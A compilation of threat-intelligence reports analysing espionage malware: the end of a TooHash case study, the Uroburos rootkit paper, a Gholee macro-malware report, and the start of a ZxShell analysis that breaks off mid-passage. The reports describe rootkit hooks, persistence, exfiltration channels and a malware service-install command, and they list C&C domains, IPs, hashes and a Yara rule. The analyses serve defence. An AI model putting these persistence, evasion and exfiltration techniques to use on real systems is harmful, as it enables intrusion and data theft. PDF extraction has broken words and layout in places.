the API KeStackAttachProcess(). This function allows it to attach the current +thread to an address space of a userland process. +The name of the rootkit is linked to its device name: \\device\DirectsX and its symbolic name: +\\DosDevices\DirectsX. +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Injected dll +The injected dll is signed with the same certificate, too. It is the remote administration tool itself, injected by the +rootkit. The tool allows the attackers: +to execute code on the infected system; +to download files; +to get information about the infected system; +to steal data such as Office documents or media files. +This library is a variant of a remote administration tool also known as Savit. +Command and Control Servers +We identified more than 75 different servers. The complete list of domains is available in the appendix. The IP +resolved by the domains changed frequently. At the time of writing this report, all known C&C servers were mainly +located in Hong Kong, with three different host companies: + HONGKONG LONG LIVE NETWORK CO LIMITED + ASIA PACIFIC SERVER COMPANY (HK) + Simcentric Solution (HK) +A fourth host company used was located in the US: + Ethrn.Net LLC (USA) +The IP ranges used by then: +103.228.64.0/24 +111.68.3.0/24 +112.121.160.0/18 +180.178.32.0/18 +216.83.32.0/19 +The choice of domain names was made to trick the users or the security team during their analysis of the web logs +collected. Have a look at two examples used during the TooHash campaign: +*.cnnic-micro.com +CNNIC is the acronym for China National Network Information Center. It is the administrative agency for +the Internet domain administration in mainland China. The domain above is, of course, not owned by +CNNIC. +*.adobeservice.net +the domain seems to be related to Adobe Systems Incorporated, the popular software company. But, +unfortunately, the domain is not owned by Adobe either. +*.intarnetservice.com +the domain seems to be a legitimate intranet network, but note the typo in the domain name. +*.webmailerservices.com +*.proxydomain.org +*.privnsb.com +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +For each domain, the attackers add a subdomain, the subdomain is generally assumed to be the name (or the +acronym) of the targeted entities. Here is an example: nspo.intarnetservices.com. This could, in the +context of the Greater China area, stand for the National Space Organization located in Taiwan. +The attackers control infected machines with the help of web servers installed on the C&Cs, they do not need to +have remote access. Here is the authentication page of the administration panel and aswe can see, the panel is +partly written in Simplified Chinese: +Screenshot 10: Authentication on the administration panel +Attribution +We did not clearly identify the people behind this campaign. The use of the stolen certificate could point the +Shiqiang group, but nothing can be proven. +Anyway, in our case, the attackers clearly targeted private business and governmental organizations as well. Either +the group decided to target governmental entities as well or the stolen certificate is used by several groups. +In any case, the attackers are well organized and use a huge and complex infrastructure to manage the infected +systems. Furthermore, they use two different malware types in order to always have access to the targeted +organizations even if one malware is detected. The second malware becomes a spare wheel. We assume that the +people behind the group are professionals. +Conclusion +This campaign showed us once more, that people do not hesitate to use sophisticated and deceptive methods to +steal data from companies or governmental organizations. The files submitted to us seem to have targeted +companies in the Greater China area but this technology can easily be used against organizations in other +countries and regions across the globe. Due to the increasing value of nowadays + trade secrets and political +secrets, we believe that the use of this kind of sponsored campaign is very likely to increase in the future. +Companies and other entities as well need to increase their security measures and to educate the users about the +risks they might encounter while working with a computer + ranging from social engineering to malware attacks, +etc. +The exploits used during this campaign are detected by G DATA +s exploit protection system and the files involved +are detected by our antivirus engines. +In case you would like to receive further technical information or would like to contribute any information to this +case, please feel free to contact us by using the following email address: toohash.securityblog@gdata.de +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Appendix: IOC +Hashes +Documents (and the original name): +8d263d5dae035e3d97047171e1cbf841 +7251073c67db6421049ee2baf4f31b62 +2ec306ef507402037e9c1eeb81276152 +6b83319cf336179f2105999fe586242c +(102 +.xls) +.doc) +.xls) +(Wo.doc) +Cohhoc samples: +0c0a3784c3530e820f57da076ea1fc8b +b45caf646f94ace23cfa367c5d202944 +d4691e06bca3a32c9283d2787b0e40b3 +bf4e5e6bef4acc33aea06f770407477e +caf3e9500934f89ae4ddf3c6b093af23 +f87e765e583e1ead4e0dd56430c469fd +0ad60b49fc47581d19ca2f4e2fc6a6bb +12ee78564ebcb5e203d2991d5ac21ace +1ed0286b4967d9590900faadab8a4926 +205e00d44ec0ff5f5c737fa4553e387a +272f23dce6d07f1be9bf2669b99e1530 +2e1a5d92343fce92136592f208ca7160 +2e4c52e2f424a233f0d5cfa143b4778f +3415e9e50be4de0903d607a2514b23e5 +367ad9dd9e263a55d2820b88910b336a +39c5f3f134520bfb70a770de61185d49 +3bd5de1f1cd29171709358920d311018 +4afda3513ef0f5563f1e77f01dbaed7c +6b5e9eb8eccfd4336ff8910f646dd199 +74697ae5fa114222d8d7f8442e57305d +a3355ad88ba0802be7e4db0a68394718 +a7a40f633e3edc3e36e1dd27c57374b1 +b9ea262ac271a72a5310bd0d0561b007 +bf4fc457359c6396a360202eee2cc29f +e0ee55a01de565ee145ed769ca3deddd +f035bce5e0a7e570743c128927a026e1 +fd11d2f0f1d388404de4bb8d872ac897 +DirectsX samples: +22b955536f27b397f68f22172f8496c2 +ecc8245568b5dc1d74d0be6073eafa2d +2857455281e50a80593708e63d68c48f +5ebd4452848879202414a46a09cd2eab +ed416eda209e91079a829cc97d57e287 +d4e2aadbc0ac414ac5a778da67251c02 +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Cohhoc File names +%USERPROFILE%\Start Menu\Programs\Startup\Internet Explorer .lnk +%APPDATA%\Roaming\Microsoft\Windows\Start +Menu\Programs\Startup\Internet Explorer .lnk +%APPDATA%\Adobe\ActiveX.dat +%APPDATA%\Adobe\ActiveX.bat +%APPDATA%\Microsoft\conime.exe +%APPDATA%\Microsoft\conime.exe.en +%TEMP%\svchost.exe +%TEMP%\war.exe +%TEMP%\Wo.doc +DirectsX - File names +%SystemRoot%\System\directsx.sys +%CommonProgramFiles%\System\directsx +DirectsX - Device +\\Device\DirectsX +DirectsX - Symlink +\\DosDevices\DirectsX +*.cnnic-micro.com +*.proxydomain.org +*.dyndns-office.com +*.kmdns.net +*.privnsb.com +*.adobeservice.net +*.webmailerservices.com +*.intarnetservice.com +In case you wish to have information about the IPs involved, please get in touch with us via +toohash.securityblog@gdata.de +Copyright + 2014 G DATA Software AG +G Data +Red Paper 2014 +Uroburos +Highly complex espionage +software with Russian roots +G Data discovers alleged intelligence agency software +G Data SecurityLabs +Red Paper_February-2014 +Contact: +intelligence@gdata.de +G Data Red Paper February 2014: Uroburos +Contents +Executive Summary ............................................................................................................................. 2 +What is Uroburos? ................................................................................................................................ 2 +Technical complexity suggests connections to intelligence agencies...................................................... 2 +Relation to Russian attack against U.S. suspected ............................................................................................2 +Probably undiscovered for at least three years..................................................................................................3 +Infection vector still unknown..................................................................................................................................3 +Analysis ................................................................................................................................................. 4 +Uroburos + name .............................................................................................................................................................4 +Rootkit framework ........................................................................................................................................................5 +Hiding malicious activities with the help of hooks ...........................................................................................5 +Virtual file systems ........................................................................................................................................................6 +The NTFS file system ....................................................................................................................................................6 +Third party tools ............................................................................................................................................................7 +Injected libraries - controlling the activities ........................................................................................................8 +Network capabilities ....................................................................................................................................................9 +Victims and attribution ............................................................................................................................................ 10 +Conclusion .......................................................................................................................................... 11 +Technical details................................................................................................................................. 11 +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +Executive Summary +G Data Security experts have analyzed a very complex and sophisticated piece of malware, designed +to steal confidential data. G Data refers to it as Uroburos, in correspondence with a string found in +the malware's code and following an ancient symbol depicting a serpent or dragon eating its own +tail. +What is Uroburos? +Uroburos is a rootkit, composed of two files, a driver and an encrypted virtual file system. The rootkit +is able to take control of an infected machine, execute arbitrary commands and hide system +activities. It can steal information (most notably: files) and it is also able to capture network traffic. Its +modular structure allows extending it with new features easily, which makes it not only highly +sophisticated but also highly flexible and dangerous. Uroburos' driver part is extremely complex and +is designed to be very discrete and very difficult to identify. +Technical complexity suggests connections to intelligence agencies +The development of a framework like Uroburos is a huge investment. The development team +behind this malware obviously comprises highly skilled computer experts, as you can infer from the +structure and the advanced design of the rootkit. We believe that the team behind Uroburos has +continued working on even more advanced variants, which are still to be discovered. +Uroburos is designed to work in peer-to-peer mode, meaning that infected machines communicate +among each other, commanded by the remote attackers. By commanding one infected machine +that has Internet connection, the malware is able to infect further machines within the network, +even the ones without Internet connection. It can spy on each and every infected machine and +manages to send the exfiltrated information back to the attackers, by relaying this exfiltrated data +through infected machines to one machine with Internet connection. This malware behavior is +typical for propagation in networks of huge companies or public authorities. The attackers expect +that their target does have computers cut off from the Internet and uses this technique as a kind of +workaround to achieve their goal. +Uroburos supports 32-bit and 64-bit Microsoft Windows systems. Due to the complexity of this +malware and the supposed spying techniques used by it, we assume that this rootkit targets +governments, research institutes, or/and big companies. +Relation to Russian attack against U.S. suspected +Due to many technical details (file name, encryption keys, behavior and more details mentioned in +this report), we assume that the group behind Uroburos is the same group that performed a +cyberattack against the United States of America in 2008 with a malware called Agent.BTZ. Uroburos +checks for the presence of Agent.BTZ and remains inactive if it is installed. It appears that the +authors of Uroburos speak Russian (the language appears in a sample), which corroborates the +relation to Agent.BTZ. Furthermore, according to public newspaper articles, this fact, the usage of +Russian, also applied for the authors of Agent.BTZ. +According to all indications we gathered from the malware analyses and the research, we are sure of +the fact that attacks carried out with Uroburos are not targeting John Doe but high profile +enterprises, nation states, intelligence agencies and similar targets. +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +Probably undiscovered for at least three years +The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed in this +environment. The oldest driver we identified was compiled in 2011, which means that the campaign +remained undiscovered for at least three years. +Infection vector still unknown +At the current stage of the investigations it is unknown how Uroburos initially infiltrates high profile +networks. Many infection vectors are conceivable. E.g. spear phishing, drive-by-infections, USB +sticks, or social engineering attacks. +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +Analysis +The G Data SecurityLabs discovered the rootkit dubbed Uroburos during 2013. We decided to +investigate in depth soon after we identified the following three interesting aspects: +the usage of virtual file systems +the complexity of the framework +the advanced network capabilities +Uroburos + name +Uroburos is a direct reference to the Greek word Ouroboros ( +). The Ouroboros is an +ancient symbol depicting a serpent or dragon eating its own tail. The name of this rootkit is inspired +by a plain text string available in several driver files: Ur0bUr()sGotyOu# +Figure 1: Uroburos name string within the driver +s code +Furthermore, we identified other references to the ancient serpent/dragon symbol within the +rootkit +s code, for example the following strings: +inj_snake_Win32.dll +inj_snake_Win64.dll +snake_alloc +snake_free +snake_modules_command +Another interesting notion: The exact spelling, +Uroburos, can even be found in a webcomic called +Homestuck. In this interactive webcomic, the +reader/player needs two codes to receive virtual +magic objects (called juju). Those two codes are in +fact uROBuROS and UrobUros. We can notice that +the uppercase and lowercase character order +matches the string found within the malware +code. +Figure 2: Homestuck webcomic +http://www.mspaintadventures.com/?s=6 +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +Rootkit framework +The rootkit is basically composed of two files: + a driver (.sys file); + a virtual file system (.dat file). +We identified several file names for the driver, for example: Ultra3.sys, msw32.sys, vstor32.sys. We +have encountered 32-bit and 64-bit driver versions. The two binaries may be installed +simultaneously on one system. +The file containing the virtual file system has a random name, followed by the extension .dat. +Furthermore, this file is located in the same directory as the driver file. The installation directory does +change, but we were able to identify the following pattern: + %SYSTEMROOT%\$Ntuninstall[Random_ID]$ +The malware +s persistence is established by the creation of a service which automatically executes +during each startup of the system. The service is located in + HKLM\System\CurrentControlSet\Services\Ultra3 +The driver is needed to +decrypt the virtual file systems +create several hooks to hide its activities +inject libraries in the users land +establish and manage some communication channels +Hiding malicious activities with the help of hooks +A rootkit naturally tries to hide its activities from the user and so does Uroburos. The driver uses +inline patching to perform the hooks, which is a common way to perform this task. Inline patching is +carried out by modifying the beginning of a targeted system +s function in order to redirect the +execution flow to a custom code before jumping back to the original function. +In the current case, the inline patching +adds a new interrupt instruction (int 0xc3) +at the beginning of the hooked function. +Doing this, the malware adds malicious +behavior to legitimate functions. +Figure 3: Hook function is called and calls, in turn, the +legitimate function +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +The main hooked functions are: + ZwQueryKey(), ZwEnumerateKey(), +ZwCreateKey() and ZwSaveKey() +their purpose is to hide the persistence keys +in the registry + ZwReadFile() +its purpose is to hide the driver and file +system files + ZwQuerySystemInformation() +its purpose is to hide rootkit handles + ZwTerminateProcess() +Figure 4: ZwQueryKey() hook creation +its purpose is to terminate cleanly the rootkit +during the shutdown of the operating system + ObOpenObjectByName() +its purpose is to hide the rootkit +s virtual file systems +Virtual file systems +The Uroburos rootkit uses two virtual file systems + one NTFS file system and one FAT file system. +They are stored locally, on the infected machine. This means that the victim +s computer contains an +encrypted file, which, in reality, hosts another file system. +The virtual file systems are used as a work space by the attackers. They can store third party tools, +post-exploitation tools, temporary files and binary output. The virtual file systems can be accessed +through the devices \Device\RawDisk1 and \Device\RawDisk2 and the volume \\.\Hd1 and \\.\Hd2. +The NTFS file system +The encryption used for the file systems is CAST-128 1. The respective encryption key is hardcoded +within the driver file. Once decrypted, the virtual file system is a classic NTFS volume, which can be +simply accessed through the standard Microsoft file system APIs. During our analysis, we identified +several files the file systems contained: +.bat scripts used by the attackers +.log files with the output of the execution of the .bat files +third party tools +queue files +The .bat scripts contain some net use commands to map a remote file server, netstat commands to +have network information, system info commands to get a complete view of the system +configuration. +Figure 5: Example of one of the .bat scripts +http://en.wikipedia.org/wiki/CAST-128 +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +The queue file is the most interesting and complex part of the virtual file system. Each message in +the queue contains a unique ID, a type, a timestamp and content. The content is also encrypted +using the CAST-128 algorithm and the respective key is stored in a message, too. The messages can +contain the following information: +a key to decrypt other messages +a configuration +a file (or library injected in user land) +Third party tools +We found classic post-exploitation tools, used by a lot of different APT actors. The following list +provides an overview of the tools found in the virtual file system: + Dumper for NTLM (hash of a user +s password). This information can be used to perform +pass +the hash + 2 attacks, to compromise new systems within the infrastructure + information gathering tools, to get information on the infected system + RAR tools, to create archives of stolen documents + Microsoft Office document stealer +Figure 6: Information gathering example +http://en.wikipedia.org/wiki/Pass_the_hash +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +Injected libraries - controlling the activities +The driver injects several libraries into user land. These libraries are stored in encrypted form in the +queue file. These files are used to create a kind of +proxy + between the kernel land and the user land. +The driver injects two noteworthy libraries: + inj_services_Win32.dll + inj_snake_Win32.dll +If the infected system is a 64-bit system, Win32 is replaced by Win64. The libraries are very huge +(more than 150 functions) and contain a lot of features. They are able to manipulate the queue file +from the user land. Following, a list of functions dedicated to the queue management (qm): +qm_create() +qm_enum() +qm_find_first() +qm_free() +qm_move() +qm_pop() +qm_push() +qm_read() +qm_read_hdr() +qm_reset_len() +qm_rm() +qm_rm_list() +qm_set_dates() +qm_set_parem() +qm_write() +The libraries have the capability to create and manage a pcap 3 capture. The purpose of this feature is +to generate a snapshot of the network traffic. +The libraries are furthermore used to exfiltrate data to the outside world, namely the attackers. We +identified several protocols to perform this task: generally, the configuration needed for each +protocol is stored in the queue file and not within the library itself. + HTTP protocol +the attackers can choose to use a website to exfiltrate data. The rootkit supports GET and +POST requests and proxy authentication, too. The default URI is http://%s/default.asp but it +is configurable. The media type of the request is chosen from the following list: +application/vnd.ms-powerpoint +application/vnd.ms-excel +application/msword +image/gif +image/x-bitmap +image/jpeg +image/pjpeg +application/x-shockwave-flash +or */* +http://en.wikipedia.org/wiki/Pcap +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos + ICMP protocol +the attackers can choose to use ICMP (ping) to exfiltrate data + SMTP protocol +the attackers can send exfiltrated data by email + Named pipe +the attackers can use Microsoft +s named pipe to communicate to another infected machine. +This case will be described in the next chapter +Figure 7: HTTP media type list +The design chosen by the developers is truly efficient: to add a new protocol and a new capability, +the attackers do not need to recompile (or reinstall) the entire rootkit. They simply need to adjust +the library and replace the library in the queue file with the adjusted one. The library usage results in +modularity well thought out. +Network capabilities +Thanks to the protocol described previously, the attacker can even target victims not directly +connected to the Internet. The following figure shows an example of a network scheme we +discovered in 2013: +Figure 8: Uroburos + communication capabilities +The targeted machine (A) is a machine with access to sensitive data, e.g. a server. The rootkit +installed on the system opens a Microsoft named pipe and waits for an incoming connection. This +machine can be named +spied-on node +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +The second machine (B) is an office machine with the capability to connect to the Internet. The +rootkit is configured to connect to system (A), with the help of the named pipe, and administrate the +machine remotely. Finally, machine (B) is able to pass on all data received from machine (A) to the +Internet. This machine (B) could be named +proxy node +This peer-to-peer design is really efficient, scalable and resilient. In case a +proxy node + is not +available/detected, the attackers can use another infected one. The advantage for the attackers: +even if a security specialist finds one +spied-on node +, he cannot easily find the +proxy node +, due to +the fact that this node is a passive node. Furthermore, the analyst does not automatically have the +command and control URL. In case of incident response, this design is complicated to apprehend +and it is hard to contain the infection. +Victims and attribution +Due to the complexity of the Uroburos rootkit, we estimate that it was designed to target +government institutions, research institutions or companies dealing with sensitive information as +well as similar high-profile targets. +Concerning the attribution, we found some technical information which allows us to link the +Uroburos rootkit to a cyber-attack against the United States of America, carried out in 2008 4 and, +particularly, to the worm used by the attackers, called Agent.BTZ. During this 2008 campaign, a USB +stick was deliberately "lost" in the parking lot of the United States Department of Defense. This USB +stick contained malicious code and infected the military +s network. +The following leads make us link what we discovered during our analysis with the cyber-attack +carried out in 2008: + the usage of the same obfuscation key in Uroburos and Agent.BTZ +(1dM3uu4j7Fw4sjnbcwlDqet4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f +5cvd0fk6c1a0s) + the usage of the same file name to store logs: winview.ocx + Uroburos actually checks whether Agent.BTZ is already present on the attacked system, +before its installation. In case Agent.BTZ is installed, Uroburos will not be installed on the +system. + the usage of Russian language in both codes +In an article published by Reuters, in 2011, the journalist mentioned that +U.S. government strongly +suspects that the original attack was crafted by Russian Intelligence. + 5 We found Uroburos samples +with a resource in Russian language: +Figure 9: Resource with Russian language +In case someone from the audience of this report notices an infection caused by the Uroburos +rootkit and needs help, would like to receive further technical information or would like to +contribute any information about this case, please feel free to contact us by email using the +following mailbox: intelligence@gdata.de +http://en.wikipedia.org/wiki/2008_cyberattack_on_United_States +http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 +Copyright + 2014 G Data Software AG +G Data Red Paper February 2014: Uroburos +Conclusion +The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed. The oldest driver +we identified was compiled in 2011, which means that the campaign remained undiscovered for at +least three years. +The investment to develop a complete framework such as Uroburos is extremely high. The +developer team behind the development and the design of such an enhanced framework is really +skilled. We believe that, until today, the team behind Uroburos has developed an even more +sophisticated framework, which still remains undiscovered. +The design is highly professional; the fact the attackers use a driver and a virtual file system in two +separate files which can only work in combination, makes the analysis really complicated. One needs +to have the two components to correctly analyze the framework. The driver contains all of the +necessary functionality and the file system alone simply cannot be decrypted. +The network design is extraordinarily efficient, too; for an incident response team, it is always +complicated to deal with peer-to-peer infrastructure. It is also hard to handle passive nodes, because +one cannot quickly identify the link between the different infected machines. +This kind of data stealing software is too expensive to be used as common spyware. We assume that +the attackers reserve the Uroburos framework for dedicated and critical targets. This is the main +reason why the rootkit was only detected many years after the suspected first infection. +Furthermore, we assume that the framework is designed to perform cyber espionage within +governments and high profile enterprises but, due to its modularity, it can be easily extended to +gain new features and perform further attacks as long as it remains undetected within its target. +There are some strong indications which suggest that the group behind Uroburos is the same as the +one behind Agent.BTZ, which allegedly was part of an intelligence agency cyberattack targeting US +military bases in 2008. Notable hints include the usage of the exact same encryption key then and +now, as well as the presence of Russian language in both cases. +Technical details +SHA256: BF1CFC65B78F5222D35DC3BD2F0A87C9798BCE5A48348649DD271CE395656341 +MD5: 320F4E6EE421C1616BD058E73CFEA282 +Filesize: 210944 +For further information contact intelligence@gdata.de +Copyright + 2014 G Data Software AG +http://www.clearskysec.com/gholee-a-protective-... +Introduction +During the 2014 Israel +Gaza con +ict, dubbed by Israel as +operation protective edge +, a raise in cyber-attacks against Israeli +targets was reported. In this report we analyze one case of an +operation protective edge themed spear phishing attack. That +email contained a malicious excel +le, which once opened and its +VBA code executed, would infect the victim +s computer. +As for the publication of this report, the +le is recognized as +malicious by only one antivirus engine. +Based on our analysis, we believe the threat actor behind this +malware is a high level professional. +Gholee +Our investigation of the Gholee malware started following a +detection of a suspicious +le that was sent in an email to an +undisclosed recipient. The +le name was +Operation Protective +Edge.xlsb + (MD5: d0c3f4c9896d41a7c42737134ffb4c2e). +The +le was uploaded to Virus Total the +rst time on 10 August +2014, from Israel. At that time it was not detected as malicious by +any of the 52 tested antivirus engines. Nine days later, it was +1 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +uploaded again to Virus total, again from Israel. This time it was +detected as malicious only by Kaspersky, as TrojanDropper.MSExcel.Agent.ce. +Infection +Upon opening the +le a message is displayed, saying: +Due to security considerations I consciously hid the +Informations. It will be visible for you by enabling content above. +This is a social engineering tactic meant to lure the victim into +enabling Macro content. If enabled, the message disappears, and +the following information is presented to the victim (it is possible +that the unreadable characters in the screenshot below are the +result of an encoding error in our lab environment, and that the +victim would see different, readable content). +Technical Analysis +Analysis of the Macro code reveals the following structure: +In order to avoid detection by protection measures such as +computer antivirus and intrusion detection systems, ASCII +2 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +characters codes are used instead of actual characters. The ASCII +codes are converted to strings as they are concatenated into a +single variable within a function +Tens of these functions then concatenated, creating a single PE +Finally, the +le is saved to NTUSER.data.{GUIDE}.dll (MD5: +48573a150562c57742230583456b4c02) and the function +ShellExecte is used to run it under cmd.exe /C and Rundll32 This +is in order to hide the process. +The Dll +le is obfuscated and includes various mechanism to hide +from Debuggers such as Ollydbg and IDA and from Sandbox +software such as Cuckoo and Anubis. +Analyzing the +le, we have found an interesting entry point called +gholee. +3 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +A quick Facebook search for that name and Iran discovered Gholee +is a popular Iranian singer: +Communication +When run, the DLL +le is communicating with a Kuwait based IP +address: 83.170.33.60, owned by German company iABG Mbh, +which provides satellite communication services. +4 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +The malware opens an SSL connection over port 443 using a +digital certi +cate that expired in 2010. The certi +cate was issued +for security company Core Security, the creators of the offensive +suite Core Impact, for the address *coreimpactagent.net. +It was issued by Thawte certi +cate authority. +[10] +5 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +[11] +Certi +cate Fingerprint MD5: 9C 80 C2 47 40 6D 6C ED FC E0 08 AE +EF D9 98 90 +Using a proxy and SSL stripping, the following communication +pattern over HTTP can be seen: +/index.php?c=Ud7atknq&r=17117d +HTTP/1.1 +POST +/index.php?c=Ud7atknq&r=1710b2 +HTTP/1.1 +Related incidents +Searching for speci +c strings from the malicious +le, we found +another +le that we believe is related to this campaign. The +name is +svchost 67.exe + (MD5: +916be1b609ed3dc80e5039a1d8102e82 ) and it was uploaded to +Virus Total[5] on 2 June 2014, more than two months earlier than +Operation Protective Edge.xlsb +. It was uploaded twice from +Latvia + potentially to test the malware +s detection rate. +svchost 67.exe + communicated with 83.170.33.37, which is on the +same /26 netblock as the address +Operation Protective Edge.xlsb +6 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +is commutating with. +Detection and prevention +By using GPO to disable macro code from running, infection by +this malware may be avoided. Alternatively, +les containing +macro code should be blocked at the email gateway or by an +anti-spam solution. +Logs and proxy servers should be checked for communication +with the IP addresses with which the malware communicates: +83.170.33.60 +83.170.33.37 +If you think you got infected, check in the system root folder +for a +le called NTUSER.DAT.{$GUID}.dll . for example: +NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0b**c}.dll +The following Yara rule may be used to detect the gholee +malware: +rule gholee +meta: +author = +www.clearskysec.com +date = +2014/08 +7 of 8 +03/22/2015 07:49 PM +http://www.clearskysec.com/gholee-a-protective-... +maltype = +Remote Access Trojan +letype = +strings: +$a = +sandbox_avg10_vc9_SP1_2011 +$b = +gholee +condition: +all of them +1. http://www.clearskysec.com/wp-content/uploads/2014/09/2.png +2. http://www.clearskysec.com/wp-content/uploads/2014/09/5.png +3. http://www.clearskysec.com/wp-content/uploads/2014/09/5.png +4. http://www.clearskysec.com/wp-content/uploads/2014/09/6.png +5. http://www.clearskysec.com/wp-content/uploads/2014/09/6.png +6. http://www.clearskysec.com/wp-content/uploads/2014/09/1.png +7. http://www.clearskysec.com/wp-content/uploads/2014/09/7.png +8. http://www.clearskysec.com/wp-content/uploads/2014/09/8.png +9. http://www.clearskysec.com/wp-content/uploads/2014/09/8.png +10. http://www.clearskysec.com/wp-content/uploads/2014/09/9.png +11. http://www.clearskysec.com/wp-content/uploads/2014/09/9.png +8 of 8 +03/22/2015 07:49 PM +Threat Spotlight: Group 72, Opening the ZxShell +This post was authored by Andrea Allievi, Douglas Goddard, Shaun Hurley, and Alain Zidouemba. +Recently, there was a blog post on the takedown of a botnet used by threat actor group known as Group 72 and their +involvement in Operation SMN. This group is sophisticated, well funded, and exclusively targets high profile organizations +with high value intellectual property in the manufacturing, industrial, aerospace, defense, and media sector. The primary +attack vectors are watering-hole, spear phishing, and other web-based attacks. +Frequently, a remote administration tool (RAT) is used to maintain persistence within a victim +s organization. These tools +are used to further compromise the organization by attacking other hosts inside the targets network. +ZxShell (aka Sensocode) is a Remote Administration Tool (RAT) used by Group 72 to conduct cyber-espionage operations. +Once the RAT is installed on the host it will be used to administer the client, exfiltrate data, or leverage the client as a pivot to +attack an organization +s internal infrastructure. Here is a short list of the types of tools included with ZxShell: +Keylogger (used to capture passwords and other interesting data) +Command line shell for remote administration +Remote desktop +Various network attack tools used to fingerprint and compromise other hosts on the network +Local user account creation tools +For a complete list of tools please see the MainConnectionIo section. +The following paper is a technical analysis on the functionality of ZxShell. The analysts involved were able to identify +command and control (C2) servers, dropper and installation methods, means of persistence, and identify the attack tools that +are core to the RAT +s purpose. In addition, the researchers used their analysis to provide detection coverage for Snort, +Fireamp, and ClamAV. +Table of Contents +1. Background +2. Distribution and Delivery +3. Analysis of the main ZxShell module +DllMain +Install +ServiceMain +ShellMain +ShellMainThread +GetIpListAndConnect +MainConnectionIo +Uninstall +ZxFunction001 +ZxFunction002 +4. Command and Control server +5. Malware Package +6. Version Information +7. Extracted URL Analysis +8. Conclusion +9. Protecting Users From These Threats +10. Appendix A: Snort rules +11. Appendix B: ClamAV signatures +12. Appendix C: List of Memory Offsets for Some ZxShell Functions +13. Appendix D: Other Collateral +Background +ZxShell has been around since 2004. There are a lot of versions available in the underground market. We have analyzed the +most common version of ZxShell, version 3.10. There are newer versions, up to version 3.39 as of October 2014. +Distribution and Delivery +An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell. Since ZxShell +has been around since at least 2004, numerous people have purchased or obtained the tools necessary to set up ZxShell +command and control servers (C&C) and generate the malware that is placed on the victim +s network. ZxShell has been +observed to be distributed through phishing attacks, dropped by exploits that leverage vulnerabilities such as CVE-20112462, CVE-2013-3163, and CVE-2014-0322. +Analysis of the Main ZxShell Module +To illustrate the functionality of main ZxShell module, Let +s take a look at the following sample: +MD5: e3878d541d17b156b7ca447eeb49d96a +SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c +It exports the following functions, which are examined in greater detail below: +DllMain +Install +UnInstall +ServiceMain +ShellMain +ShellMainThread +zxFunction001 +zxFunction002 +DllMain +DllMain performs the initialization of ZxShell. It allocates a buffer of 0x2800 bytes and copies the code for the +ZxGetLibAndProcAddr function. To copy memory, the memcpy function is invoked. It is not directly used from msvcrt.dll but +is instead copied to another memory chunk before being called. Finally, the trojan Import Address Table (IAT) is resolved +and the file path of the process that hosts the dll is resolved and saved in a global variable. +Install +ZxShell.dll is injected in a shared SVCHOST process. The Svchost group registry key +HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried +to generate a name for the service. +Before the malware can be installed a unique name must to be generated for the service. The malware accomplishes this +through querying the netsvc group value data located in the svchost group registry key which is +HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost. +At startup, Svchost.exe checks the services part of the registry and constructs a list of services to load. Each Svchost session +can contain multiple shared services that are organized in groups. Therefore, separate services can run, depending on how +and where Svchost.exe is started. +Image 1. Svchost Groups registry key +Svchost.exe groups are identified in the above registry key. Each value under this key represents a separate Svchost group +and appears as a separate instance when you are viewing active processes. Each value is a REG_MULTI_SZ value and +contains the services that run under that Svchost group. Each Svchost group can contain one or more service names that are +extracted from the following registry key, whose Parameters key contains a ServiceDLL value: +HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service +On a Windows machine, the netsvc group contains names of both existing and non-existing services. ZxShell exploits this fact +by cycling between each of the names, verifying the existence of the real service. The service +s existence is verified with the +ServiceExists function, which attempts to open the relative registry sub-key in HKLM\SYSTEM\CurrentControlSet\Services. +The first service name that is not installed on the system becomes the ZxShell service name. +A new service is then created using the service parser function ProcessScCommand. ZxShell implemented its own version of +the Windows SC command. There are minor differences between the ZxShell implementation of this command and the +original Windows one, but they are irrelevant for the purpose of the analysis The command used to install the service is: +sc create +%SystemRoot%\System32\svchost.exe -k netsvcs +where is the chosen infected service name. +Image 2. + command used to create the target service,and parsed by +ProcessScCommand + routine +The installed service registry key is opened and the 2 values under its Parameter subkey are created. These 2 values, +ServiceDll and ServiceDllUnloadOnStop are needed for services that run in a shared process. +Before the service is started ChangeServiceConfig is called to modify the service type to shared and interactive. If the service +fails to start then a random service name formatted as netsvc_xxxxxxxx, where xxxxxxxx represent an 8-digit random hex +value, is added to the netsvc group and the entire function is repeated. +ServiceMain +This function is the entry point of the service. It registers the service using the RegisterServiceCtrlHandler Windows API +function. The ZxShell service handler routine is only a stub: it responds to each service request code, doing nothing, and +finally exits. It sets the service status to RUNNING and finally calls the ShellMain function of ZxShell. +ShellMain +The ShellMain function is a stub that relocates the DLL to another buffer and 